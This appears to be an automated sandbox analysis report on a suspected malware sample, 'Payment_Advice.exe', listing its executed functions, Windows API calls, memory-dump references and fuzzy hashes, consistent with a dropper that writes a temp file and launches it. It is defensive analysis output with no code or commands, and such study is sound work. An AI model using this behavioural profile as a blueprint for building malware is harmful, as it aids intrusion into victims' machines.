Instruction ID: ebbe97c87991e55b50d20473ccf74c688199f4376f99c1fffcb12615e7a4b1e8
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 0411E6B6504244DFCB16CF54E5C4B16BF72FB84328F24C6A9D8490B297C336D45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Payment_Advice.exePID: 4208, Parent PID: 1228COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	49.6%
Signature Coverage:	1.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 0040A3D2 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040DEA0: TlsGetValue.KERNEL32(0000000E), ref: 0040DEAC
Part of subcall function 0040DEA0: RtlReAllocateHeap.NTDLL(03410000,00000000,00000000,?), ref: 0040DF07

GetTempPathW.KERNEL32(00000104,00000000,00000104,00000000,?,?,?,00000000,00401FA6,00000000,00000000,00000400,00000000,00000000,00000000,00000000), ref: 0040A3E9
LoadLibraryW.KERNEL32(Kernel32.DLL,?,?,?,00000000,00401FA6,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A3F6
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040A408
GetLongPathNameW.KERNELBASE(00000000,00000000,00000104,?,?,?,00000000,00401FA6,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000), ref: 0040A415
FreeLibrary.KERNEL32(00000000,?,?,?,00000000,00401FA6,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A41A

Strings

Kernel32.DLL, xrefs: 0040A3EF
GetLongPathNameW, xrefs: 0040A402

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: LibraryPath$AddressAllocateFreeHeapLoadLongNameProcTempValue
String ID: GetLongPathNameW$Kernel32.DLL
API String ID: 1993255246-2943376620
Opcode ID: 39ad0371a54807cbc1d5ad4c0b621e2269f891901633abc63779cadeb19a07ef
Instruction ID: b8eaa96d95d423bee739d1602c6bca055f31ac76d99c59a5b90b98edd4677545
Opcode Fuzzy Hash: 39ad0371a54807cbc1d5ad4c0b621e2269f891901633abc63779cadeb19a07ef
Instruction Fuzzy Hash: 84F0BE362012193B82102BB5AC4CEAB3EACDEC6765701403AF905E2256DAA88C1082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0041ABC0 Relevance: 3.9, APIs: 2, Instructions: 859memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(-00001000,00001000,00000004,?,?), ref: 0041B72E
VirtualProtect.KERNELBASE(-00001000,00001000), ref: 0041B743

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c492cd591be0dc3531c425159dc9e323f14ff3ec9ce237ae5204a20907f09c8a
Instruction ID: 845c112435ebdd20d252d0e7b86ba5fa5c066f1ca220771698299a65b16c9747
Opcode Fuzzy Hash: c492cd591be0dc3531c425159dc9e323f14ff3ec9ce237ae5204a20907f09c8a
Instruction Fuzzy Hash: 5472AE315083558FD324CF28C8806AABBF1FF99384F154A2EE9A5CB351E375D985CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00401005 Relevance: 10.6, APIs: 7, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040100F
GetModuleHandleW.KERNEL32(00000000), ref: 0040101C
HeapCreate.KERNEL32(00000000,00001000,00000000,00000000), ref: 00401035

Part of subcall function 0040DA70: HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040DA7C
Part of subcall function 0040DA70: TlsAlloc.KERNEL32 ref: 0040DA87

Part of subcall function 00409780: HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 00409789

Part of subcall function 004092A9: RtlInitializeCriticalSection.NTDLL(004176A8), ref: 004092D1

Part of subcall function 00408A2E: memset.MSVCRT ref: 00408A3B
Part of subcall function 00408A2E: 753CE3E0.COMCTL32(00000008), ref: 00408A55
Part of subcall function 00408A2E: CoInitialize.OLE32(00000000), ref: 00408A5D

Part of subcall function 004053B5: RtlInitializeCriticalSection.NTDLL(00417680), ref: 004053BA

GetStdHandle.KERNEL32(FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040109A

Part of subcall function 00409A20: RtlAllocateHeap.NTDLL(00000000,0000003C,00000200), ref: 00409A3F
Part of subcall function 00409A20: RtlAllocateHeap.NTDLL(00000008,00000015), ref: 00409A65
Part of subcall function 00409A20: RtlAllocateHeap.NTDLL(00000008,FFFFFFED,FFFFFFED), ref: 00409AC2

Part of subcall function 0040A01A: HeapFree.KERNEL32(00000000,?,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000), ref: 0040A058
Part of subcall function 0040A01A: HeapFree.KERNEL32(00000000,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A071
Part of subcall function 0040A01A: HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A07B

Part of subcall function 00409F88: RtlAllocateHeap.NTDLL(00000000,00000034), ref: 00409F9B
Part of subcall function 00409F88: RtlAllocateHeap.NTDLL(FFFFFFF5,00000008), ref: 00409FB0

Part of subcall function 0040D80A: RtlAllocateHeap.NTDLL(00000000,FFFFFFDD), ref: 0040D83A
Part of subcall function 0040D80A: memset.MSVCRT ref: 0040D875

Part of subcall function 0040DAC0: GetLastError.KERNEL32 ref: 0040DAC6
Part of subcall function 0040DAC0: TlsGetValue.KERNEL32(0000000E), ref: 0040DAD5
Part of subcall function 0040DAC0: SetLastError.KERNEL32(?), ref: 0040DAEB

Part of subcall function 0040DB00: TlsGetValue.KERNEL32(0000000E), ref: 0040DB0C
Part of subcall function 0040DB00: RtlAllocateHeap.NTDLL(03410000,00000000,?), ref: 0040DB39

Part of subcall function 0040195B: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00000000,00000004), ref: 00401999
Part of subcall function 0040195B: EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 004019B6
Part of subcall function 0040195B: FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00000000), ref: 004019BE

ExitProcess.KERNEL32(00000000,00000000,00000004,00000000,00416068,00000008,0000000C,000186A1,00000007,00416078,00417070,00000004,00000000,00416068,00000008,00000008), ref: 004011A5
HeapDestroy.KERNEL32(00000000,00000000,00000004,00000000,00416068,00000008,0000000C,000186A1,00000007,00416078,00417070,00000004,00000000,00416068,00000008,00000008), ref: 004011B5
ExitProcess.KERNEL32(00000000,00000000,00000004,00000000,00416068,00000008,0000000C,000186A1,00000007,00416078,00417070,00000004,00000000,00416068,00000008,00000008), ref: 004011BA

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Heap$Allocate$Free$CreateInitializememset$CriticalErrorExitHandleLastLibraryProcessSectionValue$AllocDestroyEnumLoadModuleResourceTypes
String ID:
API String ID: 784591235-0
Opcode ID: 6c79cbe8f93d5f4fbd4f8e4e936ecf2706f6c11da608655b243cf5d1c1f38f14
Instruction ID: 96b79c542ec5316184d4d87f6a3bcb960f47177df14ebed8d3aa0abc3d7ae58b
Opcode Fuzzy Hash: 6c79cbe8f93d5f4fbd4f8e4e936ecf2706f6c11da608655b243cf5d1c1f38f14
Instruction Fuzzy Hash: B7316271B84701A9E210FBF39C43F9E29289B0874CF51803FB655B50E3DEBD99458A6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A700 Relevance: 9.2, APIs: 6, Instructions: 157
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,?,?,-00000004,?,00000000,00000000), ref: 0040A771
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000,?,?,?,?,-00000004,?,00000000,00000000), ref: 0040A7B2
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,-00000004,?,00000000,00000000), ref: 0040A7FC
CreateFileW.KERNEL32(?,40000000,?,00000000,00000005,00000000,00000000,?,?,?,-00000004,?,00000000,00000000), ref: 0040A81E
RtlAllocateHeap.NTDLL(00000000,00001000,?), ref: 0040A857
SetFilePointer.KERNEL32(?,00000000,?,00000002), ref: 0040A8AA

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: File$Create$AllocateHeapPointer
String ID:
API String ID: 1439325152-0
Opcode ID: ec1f5bb4b2b6a5a964d79ad446a806c37e3583e26d78157729372fc9161ccaeb
Instruction ID: 6d6c67b9194597d88171865bc2adb6fdabd1a806897bce184725f7e599815194
Opcode Fuzzy Hash: ec1f5bb4b2b6a5a964d79ad446a806c37e3583e26d78157729372fc9161ccaeb
Instruction Fuzzy Hash: 7251D472600300ABE3219F24DC44B67BAE5EB44764F248A3AF941B73E0D775DC56CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00401EF4 Relevance: 7.6, APIs: 5, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040DC00: TlsGetValue.KERNEL32(0000000E), ref: 0040DC17

GetTempFileNameW.KERNEL32(00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00403F90,00000001,00000000), ref: 00401FC3
GetTempFileNameW.KERNEL32(00416020,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402018
GetTempFileNameW.KERNEL32(00416020,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000), ref: 0040206D
PathAddBackslashW.SHLWAPI(00416020,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000), ref: 00402078
PathRenameExtensionW.SHLWAPI(00000000,00000000,00000000,00416020,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000), ref: 004020B7

Part of subcall function 0040DAC0: GetLastError.KERNEL32 ref: 0040DAC6
Part of subcall function 0040DAC0: TlsGetValue.KERNEL32(0000000E), ref: 0040DAD5
Part of subcall function 0040DAC0: SetLastError.KERNEL32(?), ref: 0040DAEB

Part of subcall function 0040DB00: TlsGetValue.KERNEL32(0000000E), ref: 0040DB0C
Part of subcall function 0040DB00: RtlAllocateHeap.NTDLL(03410000,00000000,?), ref: 0040DB39

Part of subcall function 0040DC60: wcslen.MSVCRT ref: 0040DC77

Part of subcall function 0040DB00: RtlReAllocateHeap.NTDLL(03410000,00000000,?,?), ref: 0040DB5C

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: FileNameTempValue$AllocateErrorHeapLastPath$BackslashExtensionRenamewcslen
String ID:
API String ID: 2266526482-0
Opcode ID: 7a206639082f4f66d61dff5ee69ae7d05d1e4220445a0badcf27ca9ec711b6dd
Instruction ID: 388e51baf881495eeb61f06cd03d467195245f6dd8312115448fbdabe8adfc61
Opcode Fuzzy Hash: 7a206639082f4f66d61dff5ee69ae7d05d1e4220445a0badcf27ca9ec711b6dd
Instruction Fuzzy Hash: E041D9B1518300BAD601FBA1DC92E7E7B7DEBC4318F10983FB541B50A3CA3D98599A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D459 Relevance: 7.6, APIs: 5, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(004175FC), ref: 0040D49A
RtlAllocateHeap.NTDLL(00000000,00000018), ref: 0040D4D1
RtlLeaveCriticalSection.NTDLL(004175FC), ref: 0040D52A
RtlAllocateHeap.NTDLL(00000000,00000038,00000000), ref: 0040D53B
RtlInitializeCriticalSection.NTDLL(00000020), ref: 0040D577

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CriticalSection$AllocateHeap$EnterInitializeLeave
String ID:
API String ID: 2823868979-0
Opcode ID: 4bf7ea97ea329fa424e8d9f5269964eaecfc693dbc8ce15ea364cb583d4705d7
Instruction ID: a50e7e251860d517ee994747b31fe6338d0b473a1999477304611f5aff0d6b84
Opcode Fuzzy Hash: 4bf7ea97ea329fa424e8d9f5269964eaecfc693dbc8ce15ea364cb583d4705d7
Instruction Fuzzy Hash: 483180B2D00702ABC3208F99EC44A56BBF5FB44714B15863FE855A77A0D738E948CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401D59 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathQuoteSpacesW.SHLWAPI(?,00000000,00000000), ref: 00401DBA
ShellExecuteExW.SHELL32(?), ref: 00401E4B
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E6A

Strings

open, xrefs: 00401E22, 00401E27, 00401E2F

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CodeExecuteExitPathProcessQuoteShellSpaces
String ID: open
API String ID: 1854933444-2758837156
Opcode ID: 7e819a3d5a7f870c9bd56f0fd19ad2b4d7cb6ff0937053f34f3cc5d708bd95d3
Instruction ID: df19a793e904a2cb908132f9fea35eb48c66dc9965ad0194baf149ad38cba133
Opcode Fuzzy Hash: 7e819a3d5a7f870c9bd56f0fd19ad2b4d7cb6ff0937053f34f3cc5d708bd95d3
Instruction Fuzzy Hash: 1C310F71908305AFD700FFA1D895A5FB7A9EF84704F10883EF448A6192D77CE909DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040195B Relevance: 4.7, APIs: 3, Instructions: 233
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040DC00: TlsGetValue.KERNEL32(0000000E), ref: 0040DC17

Part of subcall function 0040DAC0: GetLastError.KERNEL32 ref: 0040DAC6
Part of subcall function 0040DAC0: TlsGetValue.KERNEL32(0000000E), ref: 0040DAD5
Part of subcall function 0040DAC0: SetLastError.KERNEL32(?), ref: 0040DAEB

Part of subcall function 004092D8: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401991,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 004092F4
Part of subcall function 004092D8: wcscmp.MSVCRT ref: 00409302
Part of subcall function 004092D8: memmove.MSVCRT ref: 0040931A

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,004033DD,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00000000,00000004), ref: 00401999
EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 004019B6
FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00000000), ref: 004019BE

Part of subcall function 0040DC60: wcslen.MSVCRT ref: 0040DC77

Part of subcall function 0040DB00: TlsGetValue.KERNEL32(0000000E), ref: 0040DB0C
Part of subcall function 0040DB00: RtlAllocateHeap.NTDLL(03410000,00000000,?), ref: 0040DB39

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Value$ErrorLastLibrary$AllocateEnumFileFreeHeapLoadModuleNameResourceTypesmemmovewcscmpwcslen
String ID:
API String ID: 983379767-0
Opcode ID: 0bbe8ff36aa40c6eb343e0262a3b2aebc2b774ffe92d4b4111da8ccaba0cf12f
Instruction ID: 459b1afe37edd6916da7380a986df78a8a6a67bc14a1ea681291f0eb1f2bbc51
Opcode Fuzzy Hash: 0bbe8ff36aa40c6eb343e0262a3b2aebc2b774ffe92d4b4111da8ccaba0cf12f
Instruction Fuzzy Hash: 5B51FDB5A18300BAE600BBB29D86E7F766DDBC4718F14883FB541B50D3DA3CD8495A2D

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC60 Relevance: 4.6, APIs: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,?,?,00000001), ref: 0040AC98
memcpy.MSVCRT ref: 0040ACD2

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: FilePointermemcpy
String ID:
API String ID: 1104741977-0
Opcode ID: 776d8269a3d3746020e46fe0c54eccab37ce39e43103cfadf76d72bca42313a5
Instruction ID: ce1a83e1c3ead8ae0272be6989b960d763ef5069eb00787365914be1b681847d
Opcode Fuzzy Hash: 776d8269a3d3746020e46fe0c54eccab37ce39e43103cfadf76d72bca42313a5
Instruction Fuzzy Hash: DA31593A2047009FC220DF29E844EABB7E5EFD8315F04882EE59AD7750D235E919CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB00 Relevance: 4.6, APIs: 3, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(0000000E), ref: 0040DB0C
RtlAllocateHeap.NTDLL(03410000,00000000,?), ref: 0040DB39
RtlReAllocateHeap.NTDLL(03410000,00000000,?,?), ref: 0040DB5C

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: AllocateHeap$Value
String ID:
API String ID: 2497967046-0
Opcode ID: 46ca97734aea4665f2f9378206e7e0527e4e1eeabe6324ccb875226dbc3139c5
Instruction ID: f09a8abe608f87049d0136dfdb2c949314b1adfa7a33e0a903a3785f462648d7
Opcode Fuzzy Hash: 46ca97734aea4665f2f9378206e7e0527e4e1eeabe6324ccb875226dbc3139c5
Instruction Fuzzy Hash: 8411CB74A00208FFC704DF98D894E9ABBB6FF89314F10C169E9099B394D735AE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040A305 Relevance: 4.5, APIs: 3, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncpy.MSVCRT ref: 0040A323
wcslen.MSVCRT ref: 0040A335
CreateDirectoryW.KERNELBASE(?,00000000), ref: 0040A375

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CreateDirectorywcslenwcsncpy
String ID:
API String ID: 961886536-0
Opcode ID: aa1a62586f507797d6a03f634a25732ecab3933eb8c248249a2aef9f2aa5f9c0
Instruction ID: 9db04ce1a0381f01c02530f667c42a9535ab4d679698852ad046a5b866225bd9
Opcode Fuzzy Hash: aa1a62586f507797d6a03f634a25732ecab3933eb8c248249a2aef9f2aa5f9c0
Instruction Fuzzy Hash: CA016CB140131896CB24DB74C85DAAEB364DF04304F2441B7DD15E21D1E7799AA4DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00408A2E Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00408A3B
753CE3E0.COMCTL32(00000008), ref: 00408A55
CoInitialize.OLE32(00000000), ref: 00408A5D

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Initializememset
String ID:
API String ID: 640720207-0
Opcode ID: d470925c7e0f1dc52620b8a1c10874dd07e431f23b4b855a0d6157dcd2eba0ed
Instruction ID: ac5f13dc28c04c2a22c35059db173eb0360c4c60f11cda37de6548a0ec479162
Opcode Fuzzy Hash: d470925c7e0f1dc52620b8a1c10874dd07e431f23b4b855a0d6157dcd2eba0ed
Instruction Fuzzy Hash: 18E0ECB594030CBBEB409FD0EC0EF9DBB7CEB05705F4045B9F904A6281EBB5A6088B95

Uniqueness

Uniqueness Score: -1.00%

Function 00403A79 Relevance: 3.6, APIs: 2, Instructions: 550
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040DB00: TlsGetValue.KERNEL32(0000000E), ref: 0040DB0C
Part of subcall function 0040DB00: RtlAllocateHeap.NTDLL(03410000,00000000,?), ref: 0040DB39

Part of subcall function 0040DAC0: GetLastError.KERNEL32 ref: 0040DAC6
Part of subcall function 0040DAC0: TlsGetValue.KERNEL32(0000000E), ref: 0040DAD5
Part of subcall function 0040DAC0: SetLastError.KERNEL32(?), ref: 0040DAEB

Part of subcall function 0040DC60: wcslen.MSVCRT ref: 0040DC77

Part of subcall function 0040DB00: RtlReAllocateHeap.NTDLL(03410000,00000000,?,?), ref: 0040DB5C

GetModuleHandleW.KERNEL32(00000000,?,00000000,00000000), ref: 00403ED2

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,004033DD,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

Part of subcall function 00405E30: CharUpperW.USER32(00000000,00000000,FFFFFFF5,00001000,?,?,00001000,004033E5,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00405E81

Part of subcall function 004031B1: FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,00403F71,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 004031D9

Part of subcall function 00401EF4: GetTempFileNameW.KERNEL32(00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00403F90,00000001,00000000), ref: 00401FC3
Part of subcall function 00401EF4: GetTempFileNameW.KERNEL32(00416020,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402018

PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403FCB

Part of subcall function 00409500: SetEnvironmentVariableW.KERNELBASE(?,?,00403FE8,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00409519

Part of subcall function 0040548C: CreateThread.KERNEL32(00000000,00001000,00000000,00000000,00000000,?), ref: 004054A5
Part of subcall function 0040548C: RtlEnterCriticalSection.NTDLL(00417680), ref: 004054B7
Part of subcall function 0040548C: WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00403140,00000000,00000000,00000000,0000000A,00000001,00000000,00000000,00000000), ref: 004054CE
Part of subcall function 0040548C: CloseHandle.KERNEL32(00000008,?,?,?,?,00403140,00000000,00000000,00000000,0000000A,00000001,00000000,00000000,00000000,00000000,00000000), ref: 004054DA
Part of subcall function 0040548C: RtlLeaveCriticalSection.NTDLL(00417680), ref: 0040551D

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Value$AllocateCriticalErrorFileHandleHeapLastNameSectionTemp$BackslashCharCloseCreateEnterEnvironmentFindLeaveModuleObjectPathRemoveResourceSingleThreadUpperVariableWaitwcslen
String ID:
API String ID: 1263086577-0
Opcode ID: b82d4a2b996f595ba5c1d763e67e136d9313fe1510dfd2df2d4df1b3f91113b9
Instruction ID: f5a9b2353c4208d2d2e49e7cbb2e39cfe29240165c79b9212fe679793e11b04d
Opcode Fuzzy Hash: b82d4a2b996f595ba5c1d763e67e136d9313fe1510dfd2df2d4df1b3f91113b9
Instruction Fuzzy Hash: 7402AAB5A18300AED200FBB1998197F7BBCEBC8719F10D83FB545A6192C63CD9459B2D

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA00 Relevance: 3.1, APIs: 2, Instructions: 65
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040D0D8: RtlEnterCriticalSection.NTDLL(00000020), ref: 0040D0E3
Part of subcall function 0040D0D8: RtlLeaveCriticalSection.NTDLL(00000020), ref: 0040D15E

CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000,?,00000000,?,?,00000000,0040352F,00000000,00000000,00000000), ref: 0040AA33
RtlAllocateHeap.NTDLL(00000000,00001000), ref: 0040AA55

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: CriticalSection$AllocateCreateEnterFileHeapLeave
String ID:
API String ID: 2608263337-0
Opcode ID: 777222757d6ac8f310b92d6d48f0c472615004c48d60ff8c3faa9f498e70ad84
Instruction ID: 0c7c59af070097b429fff24e53322bbcd4a548db6c14e4240a8466396a0194e3
Opcode Fuzzy Hash: 777222757d6ac8f310b92d6d48f0c472615004c48d60ff8c3faa9f498e70ad84
Instruction Fuzzy Hash: 5B11BE71200700ABC2308F5AED48F57BBE8EBC4724F11823EF495A22E0D7769819CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D80A Relevance: 3.1, APIs: 2, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040D95D: HeapFree.KERNEL32(00000000,-00000018,00000200,00000000,0040D81B,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00416078,00417070,00000004), ref: 0040D99E

RtlAllocateHeap.NTDLL(00000000,FFFFFFDD), ref: 0040D83A
memset.MSVCRT ref: 0040D875

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Heap$AllocateFreememset
String ID:
API String ID: 2774703448-0
Opcode ID: eda7e802ff362bb19e632be6cfc426e8d69579a7f719dd62f808040715c8de4f
Instruction ID: 8aac43452d1df7e7ddc7facaec918d90005b782c0e071f0a612a12749f5edab4
Opcode Fuzzy Hash: eda7e802ff362bb19e632be6cfc426e8d69579a7f719dd62f808040715c8de4f
Instruction Fuzzy Hash: D71151729047159BC310EF59DC80A4BBBE8FF98710F05852EF998A7351D734EC048BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A610 Relevance: 3.0, APIs: 2, Instructions: 31
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32(00000000,?,00000000,00000000,?,?,00403573,00000000,00000000,00000800,00000000,00000000,00000000), ref: 0040A653
FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,00403573,00000000,00000000,00000800,00000000,00000000,00000000), ref: 0040A65B

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: ChangeCloseFindFreeHeapNotification
String ID:
API String ID: 1642550653-0
